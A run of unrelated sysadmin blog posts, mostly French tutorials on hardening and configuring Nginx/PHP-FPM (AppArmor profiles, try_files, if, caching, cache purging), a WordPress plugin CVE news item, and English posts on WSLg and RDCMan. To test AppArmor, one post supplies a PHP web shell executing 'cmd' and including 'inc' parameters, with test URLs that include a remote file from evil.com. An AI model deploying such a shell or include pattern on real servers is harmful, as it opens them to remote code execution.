AppArmor (Application Armor) est une fonctionnalité de sécurité très efficace pour protéger un serveur WEB attaques du type Remote Command Execution (RCE) et Remote File Inclusion (RFI).
En effet, en limitant les accès à PHP, vous protégez les applications PHP de vulnérabilités connues ou inconnues.

Dans ce tutoriel, je vous donne un profile Nginx et un profile PHP-FPM pour AppArmor afin de sécuriser votre serveur WEB.
Vous pouvez l’utiliser comme base afin de mettre en place AppArmor et protéger votre serveur WEB des attaques.

Comment sécuriser Nginx avec AppArmor

Pour la syntaxe et les notions de base sur les profiles AppArmor, suivez ce tutoriel : Comment créer un profile AppArmor

Voici le profile AppArmor pour Nginx :

#include <tunables/global>

/usr/sbin/nginx {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/apache2-common>
  #include <abstractions/nis>
  #include <abstractions/openssl>
  #include <abstractions/ssl_keys>

  capability dac_override,
  capability dac_read_search,
  capability net_bind_service,
  capability setgid,
  capability setuid,
  network inet tcp,

  # pour écrire dans la console
  /dev/pts/[0-9] rw,

  # binary, pid
  /usr/bin/nginx mr,
  /run/nginx.pid rw,
  /usr/bin/php8.1 mrix,

  # configuration
  /etc/nginx r,
  /etc/nginx/** rl,
  /usr/share/nginx r,
  /usr/share/nginx/** r,
  /etc/ssl r,
  /etc/ssl/openssl.cnf r,

  # cache
  owner /var/cache/nginx rw,
  owner /var/cache/nginx/** rw,
  owner /var/lib/nginx rw,
  owner /var/lib/nginx/** rw,

  # webroot
  owner /var/www/html rw,
  owner /var/www/html/** rw,

  # logs
  owner /var/log/nginx/* rw,

}

Pour mettre en place le profile AppArmor pour Nginx :

• Placez le dans /etc/apparmor.d/usr.sbin.nginx
• Puis passez le en mode complain :

aa-complain /usr/sbin/nginx

• Testez et vérifiez les logs /var/log/syslog
• Si tout est correct, vous pouvez passer le profile en mode enforce :

aa-enforce /usr/sbin/nginx

Comment sécuriser PHP-FPM avec AppArmor

Voici un script pour php-fpm :

#include <tunables/global>
profile php-fpm /usr/sbin/php-fpm{7.4,8.0,8.1}  flags=(attach_disconnected) {
  #include <abstractions/base>
  #include <abstractions/openssl>
  #include <abstractions/ssl_certs>

 
  capability setuid,
  capability setgid,
  capability chown,
  capability kill,
  capability dac_read_search,
  capability dac_override,
  network unix,
  audit deny network inet,

  # CONF
  /etc/php/** rl,
  /etc/hosts r,
  /etc/host.conf r,
  /etc/gai.conf r,
  /etc/resolv.conf r,
  /etc/nsswitch.conf r,
  /etc/ImageMagick-6/ r,
  /etc/ImageMagick-6/** r,

  # php libraries
  /usr/share/php*/ r,
  /usr/share/php*/** mr,
  /usr/share/ImageMagick-6 r,


  /usr/share/ImageMagick-6/** r,

  # Xlibs
  /usr/X11R6/lib{,32,64}/lib*.so* mr,
  # php extensions
  /usr/lib{64,}/php/*/*.so mr,

  # ICU (unicode support) data tables
  /usr/share/icu/*/*.dat r,
  /proc/@{pid}/attr/current rw,
  /sys/devices/system/node r,
  /sys/devices/system/node/** r,
  /tmp/ rw,
  /tmp/** rwk,

  # Sessions
  /var/lib/php/sessions rw,
  /var/lib/php/sessions/** rwk,

  # LOG
  /var/log/php7.4-fpm.log rw,
  /var/log/php8.0-fpm.log rw,
  /var/log/php8.1-fpm.log rw,

  # SOCKET
  /run/php/php7.4-fpm.sock rwlk,
  /run/php/php8.0-fpm.sock rwlk,
  /run/php/php8.1-fpm.sock rwlk,
  /run/php/php7.4-fpm.pid rwlk,
  /run/php/php8.0-fpm.pid rwlk,
  /run/php/php8.1-fpm.pid rwlk,

  # CACHE
  owner /var/cache/opcache rw,

  # WEBROOT

  owner /var/www/** rwk,

}

Quelques remarques :

• php-fpm utilise des sockets unix, donc on les autorise et on interdit le reste avec network inet. Si vous n’utilisez pas les socket unix, le proxy-pass ne fonctionnera pas car php-fpm ne pourra pas ouvrir les ports en écoute
• Il peut être nécessaire d’ajouter des accès à /etc et /usr selon les modules PHP utilisés (ex avec ImageMagick)
• Il est possible de retirer les accès aux libs et utilisés #include <abstractions/php>
• Vérifiez bien le chemin de votre cache opcache, c’est celui par défaut : /var/cache/opcache

Pour mettre en place le profile AppArmor pour PHP-FPM :

• Placez le dans /etc/apparmor.d/usr.sbin.php-fpm
• Puis passez le en mode complain (remplacez la version de PHP) :

aa-complain /usr/sbin/php-fpm8.1

• Testez et vérifiez les logs /var/log/syslog
• Si tout est correct, vous pouvez passer le profile en mode enforce :

aa-enforce /usr/sbin/php-fpm8.1

Tester la protection AppArmor sur Nginx et PHP-FPM

Vous pouvez créer une page PHP avec le contenu suivant qui permet d’exécuter des commandes systèmes ou d’accéder à des fichiers depuis les paramètres cmd ou inc.
Nommez la par exemple back.php :

<?php
  if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
  }
  if(isset($_GET['inc'])) {
    include($_GET['inc']);
  }
?>

Testez les accès suivants qui doivent être bloquées par AppArmor :

https://domain.tld/back.php?cmd=ls
https://domain.tld/back.php?cmd=id

https://domain.tld/back.php?inc=/etc/passwd
https://domain.tld/back.php?inc=http://evil.com/evil.txt

Les exécutions de commandes sont bloquées de cette manière :

Jul 16 09:17:59 www kernel: [24071250.328466] audit: type=1400 audit(1657963079.216:98381): apparmor="DENIED" operation="exec" profile="php-fpm" name="/usr/bin/dash" pid=3777 comm="php-fpm7.4" requested_mask="x" denied_mask="x" fsuid=33 ouid=0

Vous pouvez aussi tester des backdoor PHP disponibles depuis ce site : https://github.com/bartblaze/PHP-backdoors
On voit ici que l’exécution de commandes à distance (RCE) est bloquée.

L’article Comment sécuriser Nginx+PHP-FPM avec AppArmor est apparu en premier sur malekal.com.

Des chercheurs en sécurité ont détecté une campagne d'attaques importante à destination des sites WordPress. L'objectif de cette campagne : détecter les sites où l'extension Kaswara Modern WPBakery Page Builder est utilisée. En quelques jours, il y a eu plus de 1,6 million de sites scannés.

Les cybercriminels sont à la recherche de sites Web qui utilisent l'extension Kaswara Modern WPBakery Page Builder, abandonnée par son auteur suite à la découverte d'une faille de sécurité critique traquée avec l'identifiant CVE-2021-24284. Cette vulnérabilité n'est pas nouvelle puisque sa découverte remonte au 14 mai 2021.

Pourquoi cette vulnérabilité intéresse-t-elle autant les pirates informatiques ? Grâce à elle, un attaquant peut injecter du code JavaScript malveillant sur un site qui utilise cette extension (peu importe la version) dans le but de charger des fichiers, d'en supprimer, et donc au final, de prendre le contrôle total du site compromis. Lorsqu'un fichier est chargé en exploitant cette vulnérabilité, il se retrouve dans le répertoire "wp-content/uploads/kaswara/fonts_icon" et les pirates utilisent généralement les noms suivants dans le cadre de cette campagne : "inject.zip", "king_zip.zip", "null.zip", "plugin.zip", et  "***_young.zip".

D'après les informations de télémétrie de la solution de protection Wordfence, les pirates ont scanné plus de 1,6 million de sites depuis le début de cette campagne et seulement une petite partie des sites étaient vulnérables. Toujours d'après les données de Wordfence, il y a environ 500 000 sites scannés par jour donc à ce rythme, les sites où ce plugin est présent seront détectés à un moment ou un autre.

Quant à l'origine des attaques, les adresses IP sources sont très nombreuses : 10 215 adresses IP distinctes, à ce jour. Comme le montre le classement ci-dessous, certaines adresses IP sont beaucoup plus actives que d'autres. Ces adresses IP du "Top 10" peuvent être bloqués par CrowdSec si vous utilisez un site WordPress.

L'extension Kaswara Modern WPBakery Page Builder n'étant plus maintenue, il n'y a pas d'autres solutions que de supprimer l'extension de son site pour se protéger. Attention, cela ne concerne pas l'extension "WPBakery Page Builder for WordPress" en elle-même.

Source

Nginx est un serveur Web puissant qui nous offre beaucoup de fonctionnalités et de personnalisation pour divers besoins. L’une des capacités du serveur NGINX est sa capacité à utiliser des directives pour configurer le serveur de manière simple, propre et fiable.
Une directive couramment utilisée est le try_files qui nous permet de configurer l’emplacement URI et comment Nginx sert divers fichiers en fonction de la demande reçue.

Dans ce tutoriel, je vous montre rapidement la façon d’utiliser la directive try_Files et d’apprendre quand et comment l’utiliser.

Comment utiliser try_files sur Nginx

La directive try_files essaie le chemin littéral que vous spécifiez par rapport à la directive racine définie et définit le pointeur de fichier interne.
Elle permet à votre serveur de vérifier séquentiellement si une liste de fichiers existe et servir la première correspondante. Nginx essaye de répondre avec différents fichiers l’un après l’autre, au cas où il ne serait pas en mesure de trouver un fichier correspondant à envoyer.

La syntaxe est :

try_files file ... uri;
try_files file ... =code;

Voici un exemple d’utilisation de try_files :

location / {
    try_files $uri $uri/ /default/index.html;
}

Dans l’exemple ci-dessus, lorsqu’un utilisateur demande une URL, Nginx essaiera $URI qui est l’URL demandée en tant que tel.
Si cela renvoie la réponse de 404 pages introuvable, alors Nginx essaiera $uri/, c’est-à-dire l’URL demandée avec une barre oblique vers l’avant. Il le fera sans envoyer le code de réponse 404 à l’utilisateur.
Si ces deux renvoient le code de réponse 404, Nginx renvoie simplement le fichier html sur /default/index.html, en tant qu’option de repli.

Seulement si toutes ces options échouent, alors Nginx renverra le code de réponse 404.

Une utilisation courante pour servir des applications PHP comme WordPress est de tester l’URL et si celle-ci n’est pas présente de renvoyer l’index PHP avec l’argument. en paramètre.

try_files $uri $uri/ /index.php?$args;

La directive try_files vous donne aussi la possibilité de renvoyer vers un bloc ou un code HTTP :

location / {
        include /etc/nginx/header.conf;
        set $skip_cache 1;
        try_files $uri $uri/ @rewriteapp;
}

location @rewriteapp {
        rewrite ^(.*)$ /app.php/$1 last;

}

L’article Comment utiliser try_files sur Nginx avec des exemples est apparu en premier sur malekal.com.

La directive if est une directive très utile pour paramétrer un site Nginx.
En effet, elle permet d’exécuter du code conditionnel.
Il est donc important de maitriser celle-ci.
Toutefois, de bonnes pratiques sont aussi importantes car vous risquez de créer du code if non fonctionnelle ou encore l’utiliser à tort et à travers.

Dans ce tutoriel, je vous explique comment utiliser if dans Nginx avec des exemples.

Comment utiliser if sur Nginx

La directive if permet d’exécuter du code conditionnel.
Vous pouvez effectuer une comparaison qui exécute un code spécifique, si la condition est VRAI.

La syntaxe est la suivante :

if (condition) {
code
}

Ce qu’il faut savoir :

• On utilise des opérateurs dans la condition
• Une variable est considérée comme fausse, si la valeur d’une variable est une chaîne vide ou «0»
• La négation des comparaisons se fait avec un !

Ci-dessous, on test si la méthode est POST, si oui, Nginx retourne un code 405 :

if ($request_method = POST ) {
  return 405;
}

Ci-dessous, on teste l’agent utilisateur et on effectue un rewrite de l’URL au besoin.
Ici on utilise ~ pour vérifier que le useragent contient la chaîne MSIE.

if ($http_user_agent ~ MSIE) {
    rewrite ^(.*)$ /msie/$1 break;
}

Ou encore testez si un paramètre ?t=1065 est présent, si oui on effectue un rewrite de la requête pour un renvoie 302.
Plus de détails : Nginx : faire une redirection (301, 302, HTTP vers HTTPS, URL, …)

if ($args ~ t=1065) {  rewrite ^ https://www.malekal.com/demander-aide/ permanent;  }

Vous pouvez aussi jouer sur le code HTTP 418 pour renvoyer vers une location @cachemiss spécifique sur une série de if.
Par exemple, ci-dessous un exemple pour WordPress où on ne cache pas sur certains paramètres et en présence de cookies.

                location / {
                error_page 418 = @cachemiss;
                recursive_error_pages on;
                if ($request_method = POST) { return 418; }

                if ($arg_s != "") { return 418; }
                if ($arg_p != "") { return 418; }
                if ($args ~ "amp") { return 418; }
                if ($arg_preview = "true") { return 418; }
                if ($arg_ao_noptimize != "") { return 418; }

                if ($http_cookie ~* "wordpress_logged_in_") { return 418; }
                if ($http_cookie ~* "comment_author_") { return 418; }
                if ($http_cookie ~* "wp_postpass_") { return 418; }
                if ($uri = /) { return 418; }
}

  location @cachemiss {
                set $cacherules "max-age=0, no-store, no-cache";
                set $skip_cache 1;
                index index.php;
                try_files $uri $uri/ /index.php$is_args$args;
        }

Eviter d’utiliser if et les bonnes pratiques

La documentation Nginx recommande d’utiliser le if/else seulement avec des cas simples.
Il est aussi indiqué que l’utilisation de if/else dans les directives location de manière complexe peut avoir des comportements non voulus : If is Evil… when used in location context

Dans la mesure du possible utilisez try_else à la place.
Pensez aussi que vous pouvez utiliser une variable.
Par exemple vous initialisez la variable à 0 (Faux) en début de page puis vous faites un test cette dernière.

set $masupervariable 0;

location /pagesuperpage {
                set $masupervariable 1;
}

if ($masupervariable) {
[...]
}

Voici un autre exemple avec map qui évite un if très long.
Dans la page pour sécuriser Nginx, j’explique comment bloquer le useragent.
Pour cela, on créé une variable block_usa qiu permet défaut renvoie 0 (soit donc faux).
Mais elle renvoie 1 (vrai) pour les agents utilisateurs qui contiennent profound, scrapyproject, netcrawler, etc :

map $http_user_agent $block_ua {
        default           0;
        ~*profound        1;
        ~*scrapyproject   1;
        ~*netcrawler      1;
        ~*nmap            1;
        ~*sqlmap          1;
}

Ensuite on renvoie un code HTTP 403 si le useragent est présent dans map :

if ($block_ua) {
                return 403;
        }

Cela offre plusieurs avantages :

• Vous évitez un if trop long qui peut générer des erreurs lors de modifications
• Et surtout, le code peut être inclut dans un fichier que l’on peut inclure dans plusieurs server différents. Vous modifiez le fichier une fois et cela est pris en compte sur tous les sites

L’article Comment utiliser if sur Nginx avec des exemples est apparu en premier sur malekal.com.

Pour gagner en vitesse, vous pouvez demander aux navigateurs internet de mettre en cache des ressources.
Par exemple, vous pouvez demander à mettre les ressources CSS, JS, images en cache.
Ainsi, lorsque le visiteur retourne sur le site, ces éléments sont pris dans le cache et non retélécharger.
Vous gagnez en rapidité mais aussi économisé la bande passante.

Les demandes de caches se font à partir du champs Cache Control dans le header d’une requête HTTP.
Pour cela, Nginx permet de configurer une mise en cache très fine.
Dans ce tutoriel, je vous explique comment configurer la mise en cache du navigateur internet avec le Cache Control sur Nginx.

Qu’est-ce que le cache du navigateur internet (Cache Control) ?

Le champs cache control est un champs dans l’en-tête de réponse du serveur WEB qui permet d’indiquer au navigateur internet comment il doit gérer la mise en cache d’une ressource.

Le délai de mise en cache se règle à partir d’un TTL (Time-To-Live).
L’administrateur d’un site peut donc déterminer combien de temps une page HTML, une ressources CSS, JavaScript doit rester en cache sur les navigateurs internet.
Le TTL contrôle combien de temps l’objet restera en cache avant d’être invalidé, ce qui incite l’utilisateur à demander un nouvel objet. Le compromis ici est entre un long temps de mise en cache et des mises à jour rapides.
Vous ne voulez pas mettre en cache votre page d’accueil pendant une année entière, car vous pourriez changer quelque chose mardi.
Régler un âge maximal autour de quelques minutes pour votre page d’accueil est assez long pour couvrir les recharges immédiates, et assez rapide pour permettre une propagation rapide des mises à jour. Cependant, pour les ressources statiques comme les images, elles peuvent ne jamais changer, et vous devriez être bien en réglant des valeurs TTL élevées, même aussi élevées que deux ans.

Cela est donc important pour configurer une mise en cache efficace et rendre votre site le plus rapide possible.
Dans ce tutoriel, je vous montre quelques exemples pour implémenter la mise en cache dans Nginx.

Comment implémenter la mise en cache du navigateur avec le cache Control sur Nginx

avec add_header Cache-Control

C’est la méthode confidentielle pour configurer la mise en cache du navigateur internet avec Nginx.
Voici les types de cache possibles :

• Public : peut être mis en cache par n’importe qui, y compris les navigateurs et les CDN. Utilisez-le pour la plupart des objets statiques
• Private : contient des données sensibles qui ne peuvent pas être mises en cache par un CDN ou proxys inversés. Le navigateur de l’utilisateur peut le mettre en cache localement. Utilisez-le pour la plupart des pages authentifiées
• no-cache : malgré le nom, il ne désactive pas la mise en cache. Le navigateur peut toujours mettre en cache la réponse pour les performances, mais doit vérifier avec le serveur d’origine des mises à jour avant de l’utiliser Utilisez-le si vous souhaitez que l’utilisateur revalide à chaque fois
• no-store : désactive entièrement la mise en cache. Utilisez-le uniquement pour des données hautement sensibles qui ne doivent pas être envoyées deux fois

Puis on définit la directive max-age qui indique le TTL :

• -1, ou off, qui désactivera la mise en cache et ne modifiera pas les en-têtes existants
• Epoch, réglé sur Unix Time Zero, qui éteindra explicitement la mise en cache et purgera tous les caches (utile si vous utilisez Nginx comme proxy inverse)
• Max, qui expirera à la fin de l’univers, le 31 décembre 2037
• 30s, pour les secondes
• 1m, pour les minutes
• 24h, pour les heures
• 3d, pour les jours
• 1M, pour les mois
• 2y, pour les années

Par exemple ci-dessous, on définit une mise en cache avec un TTL de 15552000 secondes, soit180 jours :

location ~* ^.+\.(xml|ogg|ogv|svg|svgz|eot|otf|woff|mp4|ttf|css|rss|atom|js|jpg|jpeg|gif|png|ico|zip|tgz|gz|rar|bz2|doc|xls|exe|ppt|tar|mid|midi|wav|bmp|rtf|woff2|webp|webm)$ {
                access_log off;
                log_not_found off;
                add_header Cache-Control "public, max-age=15552000";
        }

Ce qui donne :

• 1 heure : max-age=3600
• 1 jour : max-age=86400
• 1 semaine : max-age=604800
• 1 mois : max-age=2628000
• 1 année : max-age=31536000

Puis vous pouvez vérifier le header et le champs Cache-Control avec curl ou tout autres méthodes : 4 façons d’afficher l’en-tête HTTP (headers) d’une page internet

curl -I -s http://localhost/demo.js
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 01 Jul 2022 15:50:31 GMT
Content-Type: application/javascript
Content-Length: 13
Last-Modified: Fri, 01 Jul 2022 15:49:40 GMT
Connection: keep-alive
ETag: "62bf1794-d"
Cache-Control: public, max-age=15552000
Accept-Ranges: bytes

D’autres directives sont possibles, par exemple :

• no-transform : désactive les conversions qui peuvent être effectuées sur la ressource. Par exemple, certains CDN compressent des images pour réduire la bande passante. Cette directive désactive ce comportement
• must-revalidate : indique au navigateur que chacune des ressources doit être revérifiée et si la version sur le serveur diffère de la version mise en cache, elle est fraîchement servie au navigateur. Cela ressemble donc à no-cache, la différence avec no-cache est que si le serveur ne peut délivrer la ressources, le navigateur WEB affichera une erreur 504 alors qu’avec no-cache, la version en cache du navigateur s’affiche
• s-maxage : indique également combien de temps la réponse est fraîche (similaire à l’âge maximum) – mais il est spécifique aux caches partagées, et ils ignoreront l’âge maximum lorsqu’il sera présent
• proxy-revalidate : équivalent à must-revalidate, mais spécifiquement pour les caches partagées uniquement
• must-understand : indique qu’un cache ne doit stocker la réponse que s’il comprend les exigences de mise en cache en fonction du code d’état
• immutable : La directive indique que la réponse ne sera pas mise à jour pendant qu’elle est fraîche
• stale-while-revalidate : indique que le cache pourrait réutiliser une réponse obsolète alors qu’elle le revient à un cache.
• stale-if-error : Indique que le cache peut réutiliser une réponse obsolète lorsqu’un serveur d’origine répond avec une erreur (500, 502, 503 ou 504).

 add_header Cache-Control "public, must-validate";

Pour plus de détails suivre cette documentation : https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control

avec expires

Expires est une directive qui vous permet d’activer ou désactive l’ajout ou la modification des champs d’en-tête de réponse «expire» et «Cache-Control» à condition que le code de réponse soit égal à 200, 201 (1.3.10), 204, 206, 301, 302, 303, 304, 307.
L’heure dans le champ «Expire» est calculée comme une somme de l’heure et de l’heure actuels spécifiés dans la directive. Si le paramètre modifié est utilisé (0,7,0, 0,6.32), le temps est calculé comme une somme du temps de modification du fichier et le temps spécifié dans la directive.

La syntaxe est la suivante :

expires [modified] time;
expires epoch | max | off;

Par exemple pour définir le TTL maximale :

location ~* ^.+\.(xml|ogg|ogv|svg|svgz|eot|otf|woff|mp4|ttf|css|rss|atom|js|jpg|jpeg|gif|png|ico|zip|tgz|gz|rar|bz2|doc|xls|exe|ppt|tar|mid|midi|wav|bmp|rtf|woff2|webp|webm)$ {
                access_log off;
                log_not_found off;
                expires max;
        }

Cela va renvoyer l’en-tête suivante :

Cache-Control: max-age=315360000

Pour définir un cache de 5 mois :

expires 5M;

Il est possible de mixer expires avec add_headers pour modifier le Cache-Control :

location ~* .(?:css|js)$ {
  expires 1y;
  add_header Cache-Control "public";
}

Enfin vous pouvez mapper une variable afin de change le délai de cache selon le type MIME.

map $sent_http_content_type $expires {
    default         off;
    application/pdf 42d;
    ~image/         max;
}

expires $expires;

No-cache

La directive no-cache force la validation d’une ressources cachée.
Si la version du serveur est plus récente que celle du navigateur internet alors ce dernier mets à jour le cache.

Par exemple, renvoyer le header suivant :

 add_header Cache-Control "max-age=0, no-store, no-cache";

Surrogate-Control

L’en-tête de réponse Surrogate-Control permet aux serveurs d’origine de dicter la mise en cache par les CDN ou proxy inversés.

add_header Surrogate-Control "public, max-age=86400";
add_header Cache-Control "public, max-age=120";

L’article Nginx : implémenter la mise en cache du navigateur avec le Cache Control est apparu en premier sur malekal.com.

Nginx propose des fonctionnalités de cache avancé pour des performances maximales.

Mais l’un des effets secondaires de la mise en cache de contenu est que les mises à jour de contenu sur le serveur d’origine ne se propagent pas nécessairement immédiatement au cache, ce qui signifie que les clients pourraient continuer à être servi l’ancien contenu pendant une période de temps.
Si une opération de mise à jour modifie un certain nombre de ressources en même temps), il est possible qu’un client soit servi un mélange de ressources périmées et actuelles, ce qui conduit à une présentation incohérente.

Nginx offre plusieurs façons de purger le cache.
Dans ce tutoriel, je vous explique comment vider le cache Nginx.

Comment vider le cache Nginx en totalité

Pour la configurer la mise en cache de Nginx, suivez ce guide :

Le chemin du cache se trouve dans la directive fastcgi_cache_path ou proxy_cache_path.
Il suffit d’utiliser la commande rm pour supprimer l’intégralité du cache nginx.
Par exemple :

rm -rf /var/cache/nginx/*
/etc/init.d/nginx reload

Relancez la configuration de nginx est nécessaire afin qu’il recréé les répertoires de cache.
Si vous ne le faites pas, le cache ne sera pas utilisé.

Comme le montre cette capture, le cache passe en MISS après avoir purgé le cache et le reste tant qu’on ne relance pas nginx.

Comment vider le cache Nginx d’une page WEB spécifique

Par la méthode Bypass

La directive proxy_cache_bypass ou fastcgi_cache_bypass est utilisée pour invalider le cache en demandant à Nginx de transmettre la demande au serveur backend et de rafraîchir la ressource mise en cache lors de la récupération à partir du serveur backend.
Ainsi, nous ne supprimons aucun élément mis en cache dans le cache, mais nous le rafraîchissons.

Voici un exemple d’utilisation avec une invalidation lorsque l’on interroge le serveur nginx depuis localhost.
Vous pouvez modifier le if pour ajouter un proxy ou un header spécifique.

if ($remote_addr ~ "^(127.0.0.1)$") {
    set $bypass $http_cache_purge;
}

Ensuite on met à jour le cache comme ceci :

fastcgi_cache_bypass $bypass;

Ce qui nous donne :

server {
	[...]

	set $bypass 0;
	if ($remote_addr ~ "^(127.0.0.1)$") {
    		set $bypass $http_cache_purge;
	}

	location ~ \.php$ {
		include snippets/fastcgi-php.conf;
 		fastcgi_cache php;
                fastcgi_cache_key "$scheme$request_method$host$request_uri";
		fastcgi_cache_valid 200 302 30d;
	        fastcgi_cache_valid 301 5d;
            	fastcgi_cache_use_stale error timeout updating invalid_header http_500 http_503;
		fastcgi_cache_min_uses 2;
        	fastcgi_cache_bypass $bypass;
		add_header Cache $upstream_cache_status;
		fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
	}

On calcule le MD5 d’une page prise dans le cache Nginx à l’aide de CURL :

curl -s http://localhost/demo.php|md5sum
fe01ce2a7fbac8fafaed7c982a04e229  -

Puis on modifie le contenu de la page et Nginx continue de retourner le cache, ainsi, la modification n’est pas prise en compte.

curl -s http://localhost/demo.php|md5sum
fe01ce2a7fbac8fafaed7c982a04e229  -

On demande à mettre à jour le cache, qui est cette fois-ci est effective, le MD5 change.

curl -s -H 'Cache-Purge: true' http://localhost/demo.php|md5sum
107a170f84c3cd62af57a97c9bd0b531  -

Par la méthode proxy_cache_purge

La directive proxy_cache_purge ou fastcgi_cache_purge permet de supprimer l’entrée de cache avec une clé de cache correspondante. Le résultat d’un fonctionnement réussi est indiqué en renvoyant la réponse 204 (pas de contenu).

Tout d’abord, sur Debian et Ubuntu, il est nécessaire d’installer le paquet nginx-extras, sinon vous obtiendrez l’erreur suivante :

nginx: [emerg] unknown directive "proxy_cache_purge"

En effet, la directive proxy_cache_purge nécessite le module ngx_http_proxy_module.

proxy_cache_path /data/nginx/cache keys_zone=cache_zone:10m;

map $request_method $purge_method {
    PURGE   1;
    default 0;
}

server {
    [...]

location ~ \.php$ {
		include snippets/fastcgi-php.conf;
 		fastcgi_cache php;
                fastcgi_cache_key "$scheme$request_method$host$request_uri";
		fastcgi_cache_valid 200 302 30d;
	        fastcgi_cache_valid 301 5d;
            	fastcgi_cache_use_stale error timeout updating invalid_header http_500 http_503;
		fastcgi_cache_min_uses 2;
		fastcgi_cache_purge $purge_method;
		add_header Cache $upstream_cache_status;
		fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
	}

}

On voit bien que le purge du cache est pris en compte :

curl http://localhost/demo.php
demo
vim demo.php
curl http://localhost/demo.php
demo
curl -X PURGE "http://localhost/demo.php"
demo-111

Si la clé de cache d’une demande de purge se termine par un astérisque («*»), toutes les entrées de cache correspondant à la touche générique seront supprimées du cache. Cependant, ces entrées resteront sur le disque jusqu’à ce qu’elles soient supprimées pour inactivité ou traitées par le cache Purger, ou un client tente d’y accéder.

curl -X PURGE "http://localhost/demo.php"

Manuellement par la commande rm

Vous pouvez aussi supprimer le fichier cache d’une page WEB spécifique, mais pour cela, il faut bien comprendre le fonctionnement du cache NGINX.

Le nom de fichier dans un cache est le résultat de l’application de la fonction MD5 à la directive key de mise en cache. Par exemple, prenons cette directive de clé de cache :

fastcgi_cache_key "$scheme$request_method$host$request_uri";

Ce qui nous donne une clé :

httpGETlocalhost/demo.php

Le nom du fichier dans le cache sera :

echo -n "httpGETlocalhost/demo.php"|md5sum
c9a68ec5651224435f3dc01d055550a0  -

En utilisant la commande find, on trouve bien notre fichier de cache pour la page demo.php :

find /var/cache/nginx -name "c9a68ec5651224435f3dc01d055550a0" -print
/var/cache/nginx/php/0/0a/c9a68ec5651224435f3dc01d055550a0

A partir de là, on peut vider le cache Nginx de la page suivante :

rm -f /var/cache/nginx/php/0/0a/c9a68ec5651224435f3dc01d055550a0

Script pour purger le cache Nginx

Enfin, on peut créer un script shell pour purger le cache d’une ressources :

CACHE_PATH=/var/cache/nginx
MD5=$(echo -n $1|md5sum|cut -d ' ' -f 1)
f1=$(printf $MD5 | tail -c 1)
f2=$(printf $MD5 | tail -c 3|head -c 2)
rm $CACHE_PATH/$f1/$f2/$MD5

Par exemple nommez le script vider-cache.sh puis appelez la ressource en argument :

./vider-cache.sh /masuperpage.php

avec Nginx helper pour WordPress

Nginx helper est une extension pour WordPress qui vous permet de vider le cache Nginx d’une page spécifique.
De plus lorsque vous modifiez un article, l’extension met à jour le cache automatiquement.
Cela est donc pratique pour livrer un contenu à jour.

L’article Comment vider le cache Nginx est apparu en premier sur malekal.com.

Ever since WSL and subsequent major improvements with WSL2 in Windows 10. Running Linux apps in Windows has become a reality increasingly. If you are messing with the command line interface, most of the toolchains are now fully functional with WSL2. However, using Linux as a traditional desktop GUI out-of-the-box WSL2 experience does not allow you to have a GUI. I showed you some ways to enable WSL2 GUI with RDP last year. Now there are better and more native ways that you can run GUI apps with WSL2.

Microsoft introduced WSLg (g, stands for graphic interface) where it enables you to run GUI Linux apps straight from WSL2.

You need Windows 10 Insider Preview to build 21362+ or higher to enable and try this out. And because you want to run GUI apps, depends on the type of GUI application, you need supports from your GPU driver.

• AMD GPU driver for WSL
• Intel GPU driver for WSL
• NVIDIA GPU driver for WSL

If you already have WSL2 installed all you need to do is

wsl --update

Once it’s update updating, you need to restart WSL or simply run

wsl --shutdown

This will restart the WSL service.

Depends on the distro you have installed you can try apps like

sudo apt install gedit -y

To launch gedit GUI editor as an example. Below is a full example demonstrating the power of WSLg.

Under the hood it’s running FreeRDP

Weston leverages FreeRDP to implement its backend RDP Server. FreeRDP is used to encode all communications going from the RDP Server (in Weston) to the RDP Client (mstsc on Windows) according to the RDP protocol specifications. It is also used to decode all traffic coming from the RDP Client into the RDP server.

This means if you want to RDP into WSL2 with WSLg upgrade it would be possible as well. For more details check out Microsoft’s dev blog post here.

The post WSLg is Microsoft’s Offical GUI for WSL2 appeared first on Next of Windows.

It’s been a long time and finally, the Microsoft version of Remote Desktop Connection Manager gets a new update. I couldn’t wait and give it a try real quick but was disappointed that there are many new things to see.

RDCMan manages multiple remote desktop connections, not only servers but workstations as well. Connections can be managed in groups so they can all be sharing the same login settings from a parent group or a credential store. This can be very beneficial because when you change your password you just need to change the password stored in RDCMan.

There are also smart groups that get populated dynamically based on a set of rules. Go to Edit and choose to Add smart group…

To import the list of computers, prepare a text file with one server name per line format first and go to Edit > Import servers.

All settings you find in standalone Remote Desktop Client are available in RDCMan, including all local resources sharing as well as support for RD Gateway.

The display size in this version of RDCMan does support your window size automatically, which is very nice. But I do find it’s not smart-size enough, meaning that if I resize the RDCMan main window, I will have to reconnect the connections to get the RDP size auto-fit.

Overall, it has some improvement that you can see from this latest release. However, it doesn’t seem to offer enough for me to switch over. I am currently using Devolutions Remote Desktop Manager Free version. It’s free and it has everything I need for a remote connection manager.

The post RDCMan 2.8 is Out appeared first on Next of Windows.